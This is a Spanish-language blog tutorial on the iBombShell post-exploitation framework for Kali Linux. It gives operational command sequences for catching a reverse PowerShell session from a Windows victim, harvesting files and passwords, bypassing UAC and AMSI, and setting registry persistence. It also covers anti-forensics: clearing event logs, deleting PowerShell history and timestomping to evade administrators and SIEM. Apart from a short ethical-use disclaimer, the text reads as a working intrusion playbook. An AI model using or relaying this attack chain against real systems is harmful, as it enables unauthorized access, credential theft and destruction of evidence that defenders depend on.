iBombShell: Pentesting y Post-Explotación

 https://www.onlinetis.com

iBombShell: Pentesting y Post-Explotación

Hablemos de iBombShell. Es una herramienta sumamente interesante porque rompe un poco con el esquema tradicional de los frameworks de post-explotación.

En pocas palabras, iBombShell es una herramienta de pentesting dinámico desarrollada originalmente por el equipo de ElevenPaths (Telefónica). Su gran ventaja es que permite ejecutar "instancias" en memoria, lo que facilita moverte por un sistema una vez que has logrado entrar.

Aquí tienes los puntos clave para entenderla y usarla en Kali Linux:


1. ¿Qué hace especial a iBombShell?

A diferencia de otros frameworks que requieren instalar pesados agentes, iBombShell se basa en PowerShell.

  • Carga en memoria: Casi todo lo que hace se ejecuta directamente en la RAM, lo que ayuda a evadir la detección de algunos antivirus tradicionales.

  • Modo Silencioso: Permite ejecutar funciones específicas sin dejar rastro excesivo en el disco duro.

  • Everywhere: Aunque nació para Windows (por PowerShell), tiene una versión en Python que permite cierta versatilidad.

2. Instalación en Kali Linux

Como Kali está basado en Debian, el proceso es sencillo. Necesitarás Python 3 y clonar el repositorio oficial.

  1. Clona el repositorio:

    Bash
    git clone https://github.com/ElevenPaths/ibombshell.git
    
  2. Entra al directorio:

    Bash
    cd ibombshell
    
  3. Instala las dependencias:

    Bash
    pip3 install -r requirements.txt
    
  4. Lanza la consola de control:

    Bash
    python3 ibombshell.py
    

3. Modos de funcionamiento

iBombShell se divide principalmente en dos componentes:

  • The Console: Es la interfaz que manejas desde tu Kali. Desde aquí controlas a las "víctimas" y preparas los ataques.

  • The Shell: Es el código que se ejecuta en la máquina objetivo. Puedes generar un "enlace" (one-liner) que, al ejecutarse en la víctima, conecta de vuelta a tu consola.

4. Flujo básico de uso

  1. Preparar el Listener: En tu consola de iBombShell, configuras un puerto para escuchar conexiones.

  2. Generar el Payload: Obtienes el comando de PowerShell que debe ejecutarse en el equipo remoto.

  3. Ejecución: Una vez que la víctima ejecuta el comando, aparecerá una sesión activa en tu terminal de Kali.

  4. Post-explotación: Puedes cargar módulos para extraer contraseñas, buscar archivos sensibles o realizar escaneos de red interna.


Nota de seguridad: Recuerda que iBombShell es una herramienta potente diseñada para profesionales de ciberseguridad. Úsala siempre en entornos controlados o bajo autorización explícita (Pentesting ético).

Vamos a montar un entorno de pruebas controlado. Para esto, lo ideal es que tengas tu máquina con Kali Linux (el atacante) y una máquina virtual con Windows 10/11 (la víctima) conectadas en la misma red local (modo NAT o Host-Only en VirtualBox/VMware).

Aquí tienes los pasos para realizar un "PoC" (Prueba de Concepto) básica:


Paso 1: Iniciar la Consola en Kali Linux

Primero, lanza iBombShell en tu terminal de Kali. Asegúrate de estar dentro de la carpeta del proyecto.

Bash
python3 ibombshell.py

Una vez dentro, verás el prompt de la herramienta.

Paso 2: Configurar el Listener (Consola)

Necesitamos que iBombShell se quede "escuchando" para recibir la conexión de la víctima. Para este ejemplo, usaremos el modo warrior.

  1. Carga el modo:

    Plaintext
    ibombshell > load modules/interact/warrior.py
    
  2. Configura tu IP y puerto:

    (Para saber tu IP en Kali, usa ip a en otra terminal).

    Plaintext
    ibombshell > set lhost [TU_IP_DE_KALI]
    ibombshell > set lport 4444
    
  3. Lanza el servicio:

    Plaintext
    ibombshell > run
    

Paso 3: Ejecutar el "One-Liner" en Windows (Víctima)

iBombShell te proporcionará un comando largo de PowerShell. Debes copiarlo y ejecutarlo en la máquina Windows.

  1. En Windows, abre una terminal de PowerShell (no hace falta que sea Administrador para una prueba básica).

  2. Pega el código que generó iBombShell y presiona Enter.

¿Qué está pasando? El comando descarga el script de iBombShell directamente en la memoria RAM de Windows y lo ejecuta sin escribir nada en el disco duro.

Paso 4: Tomar el control

Si todo ha ido bien, en tu terminal de Kali aparecerá un mensaje indicando que hay una nueva sesión activa.

  1. Listar sesiones:

    Plaintext
    ibombshell > sessions
    
  2. Interactuar con la sesión:

    Plaintext
    ibombshell > interact [ID_DE_SESIÓN]
    

Ahora ya estás "dentro". Puedes ejecutar comandos como get-computerinfo o usar los módulos de iBombShell para listar archivos o procesos.


Consideraciones importantes para tu prueba:

  • Windows Defender: Es muy probable que Windows Defender detecte la ejecución si las firmas están actualizadas. Para una prueba inicial de aprendizaje, desactiva temporalmente la "Protección en tiempo real" en la máquina Windows.

  • Red: Asegúrate de que ambas máquinas se vean (haz un ping entre ellas). Si no hay respuesta, revisa los Firewalls.

 

Una vez que tienes la sesión activa (cuando el prompt cambia y te indica que estás interactuando con la máquina víctima), es donde empieza la verdadera magia de la post-explotación.

Aquí te detallo cómo usar tres de los módulos más útiles en un escenario de auditoría:


1. Recolección de Información (Information Gathering)

Antes de tocar nada, necesitas saber dónde estás parado. iBombShell tiene módulos para extraer datos sin ser muy ruidoso.

  • Comando: search (para ver qué módulos hay disponibles).

  • Uso: ```text

    ibombshell > load modules/gathering/private/get_info.py

    ibombshell > run

    *Esto te devolverá detalles del sistema, parches instalados y usuarios, lo cual es vital para saber si el sistema es vulnerable a algo más.*
    
    

2. Búsqueda de Archivos Sensibles (File Search)

A menudo, los usuarios guardan contraseñas en archivos .txt o .docx. iBombShell puede automatizar esta búsqueda.

  • Módulo: search_files.py

  • Configuración:

    Plaintext
    ibombshell > load modules/gathering/private/search_files.py
    ibombshell > set extension .txt
    ibombshell > set path C:\Users\
    ibombshell > run
    

    Esto es mucho más rápido que buscar manualmente carpeta por carpeta.


3. Extracción de Credenciales (El "Plato Fuerte")

Si has logrado elevar privilegios (o si el usuario tiene permisos suficientes), puedes intentar obtener credenciales. iBombShell puede integrar funciones similares a las de Mimikatz pero ejecutadas desde PowerShell.

  • Módulo sugerido: get_passwords.py

    Plaintext
    ibombshell > load modules/post/private/get_passwords.py
    ibombshell > run
    

    Nota: Este módulo suele ser el más vigilado por los antivirus (EDR/Defender), por lo que es el que más probabilidades tiene de ser bloqueado si no has evadido las defensas previamente.


Cómo moverte entre módulos

Para cambiar de una tarea a otra, recuerda estos comandos básicos dentro de la consola:

  • back: Para salir del módulo actual y volver al menú principal.

  • help: Para ver qué parámetros (options) puedes configurar en cada módulo.

  • sessions -k [ID]: Para cerrar una sesión si ya terminaste tu prueba.


Un pequeño "Tip" de experto:

Si notas que la conexión se corta, puede ser porque el proceso de PowerShell en Windows entró en suspensión o el Firewall cortó el flujo. Para evitar esto, intenta ejecutar comandos de forma espaciada.

Llegamos a la parte más crítica y emocionante de una auditoría: la Elevación de Privilegios.

Cuando entras en un sistema, generalmente lo haces con los permisos del usuario que ejecutó el comando (un usuario estándar). Para tomar el control total, necesitas convertirte en SYSTEM o Administrador.

En iBombShell, esto se gestiona a través de módulos que buscan fallos de configuración en Windows. Aquí te explico cómo proceder:


1. Comprobación de vulnerabilidades (UAC)

El User Account Control (UAC) es esa ventana que te pide permiso para ejecutar algo como administrador. Existen técnicas para "saltarse" este aviso si el usuario ya pertenece al grupo de administradores pero está corriendo en un nivel bajo.

  • Módulo: bypassuac.py

  • Pasos:

    Plaintext
    ibombshell > load modules/post/private/bypassuac.py
    ibombshell > set lhost [TU_IP_KALI]
    ibombshell > set lport [NUEVO_PUERTO]
    ibombshell > run
    

    Qué hace: Intenta abrir una nueva sesión de iBombShell en la misma máquina, pero esta vez con privilegios elevados, sin que al usuario le aparezca el aviso de confirmación.


2. Bypass de AMSI (Antimalware Scan Interface)

Antes de intentar ataques pesados, es vital "cegar" un poco a Windows. AMSI es lo que permite a Windows Defender analizar scripts de PowerShell en tiempo real.

  • Módulo: bypass_amsi.py

  • Uso:

    Plaintext
    ibombshell > load modules/post/private/bypass_amsi.py
    ibombshell > run
    

    Si tiene éxito, tus siguientes comandos serán mucho menos propensos a ser bloqueados por el antivirus.


3. Persistencia (Quedarse dentro)

Si la máquina se reinicia, perderás tu conexión. La persistencia permite que iBombShell se ejecute automáticamente cada vez que la víctima inicie sesión.

  • Módulo: persistence.py

    Plaintext
    ibombshell > load modules/post/private/persistence.py
    ibombshell > set method registry  (Usa el registro de Windows para el inicio)
    ibombshell > run
    

Resumen del flujo de trabajo

Para que no te pierdas, el orden lógico en un entorno de pruebas suele ser:

  1. Conexión Inicial (Acceso de usuario).

  2. Bypass AMSI (Para evitar ser detectado al cargar más código).

  3. Enumeración (Saber qué parches faltan).

  4. Bypass UAC / Elevación (Conseguir ser Administrador).

  5. Extracción de contraseñas (Ahora que tienes permisos totales).

ObjetivoMódulo Sugerido
Identificar debilidadesmodules/gathering/private/check_privileges.py
Saltar protecciónmodules/post/private/bypassuac.py
Extraer hashesmodules/post/private/get_passwords.py

La "limpieza de huellas" o Anti-Forensics es la fase final de cualquier auditoría de seguridad. El objetivo es dejar el sistema tal como lo encontraste, evitando que los administradores o los sistemas de monitoreo (SIEM) detecten que hubo una intrusión.

En el mundo de iBombShell y Windows, los rastros suelen quedar en tres lugares: Logs de eventos, archivos temporales y el historial de comandos.


1. Limpieza de Event Logs (Visor de Eventos)

Windows registra casi todo: inicios de sesión, ejecución de procesos y errores. Si has elevado privilegios, puedes usar PowerShell para borrar estos registros.

  • Desde la sesión de iBombShell:

    Puedes intentar ejecutar comandos directos de sistema para limpiar los logs principales (System, Security y Application):

    PowerShell
    Clear-EventLog -LogName Application, System, Security
    

    Ojo: Borrar todos los logs es una "bandera roja" (red flag) muy obvia para un analista de seguridad. A veces es mejor no borrar nada que borrarlo todo de golpe.

2. Borrar el Historial de PowerShell

Windows guarda un historial de los comandos escritos en la consola de PowerShell en un archivo de texto. Si no lo borras, el administrador podrá ver exactamente qué comandos de iBombShell ejecutaste.

  • Ruta del archivo: AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

  • Comando para borrarlo desde tu sesión:

    PowerShell
    Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
    

3. Eliminar la Persistencia

Si instalaste un mecanismo para que iBombShell se inicie con Windows (como vimos en el paso anterior), debes quitarlo antes de salir.

  • Si usaste el registro (Registry), debes borrar la clave que creaste. Por ejemplo, si la creaste en Run:

    PowerShell
    Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "iBombShell"
    

El concepto de "Timestomping"

Los forenses digitales miran la "fecha de modificación" de los archivos. Si descargaste una herramienta o creaste un archivo a las 3:00 PM, esa marca de tiempo te delata. El Timestomping consiste en cambiar esas fechas para que coincidan con archivos antiguos del sistema.


Resumen de "Buenas Prácticas" en Auditoría:

RastroAcciónRiesgo de Detección
Logs de EventosClear-EventLogAlto (deja un hueco en la línea de tiempo)
Historial PSBorrar ConsoleHost_history.txtMedio
Archivos TemporalesBorrar manual en %TEMP%Bajo
PersistenciaBorrar llaves de Registro / TareasCrítico (si se olvida, la conexión sigue abierta)

Consejo Final: En entornos profesionales, lo más limpio es usar herramientas que funcionen 100% en memoria (como hace iBombShell por defecto). Al cerrar el proceso de PowerShell y reiniciar la máquina, la mayor parte de la actividad desaparece de la RAM.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux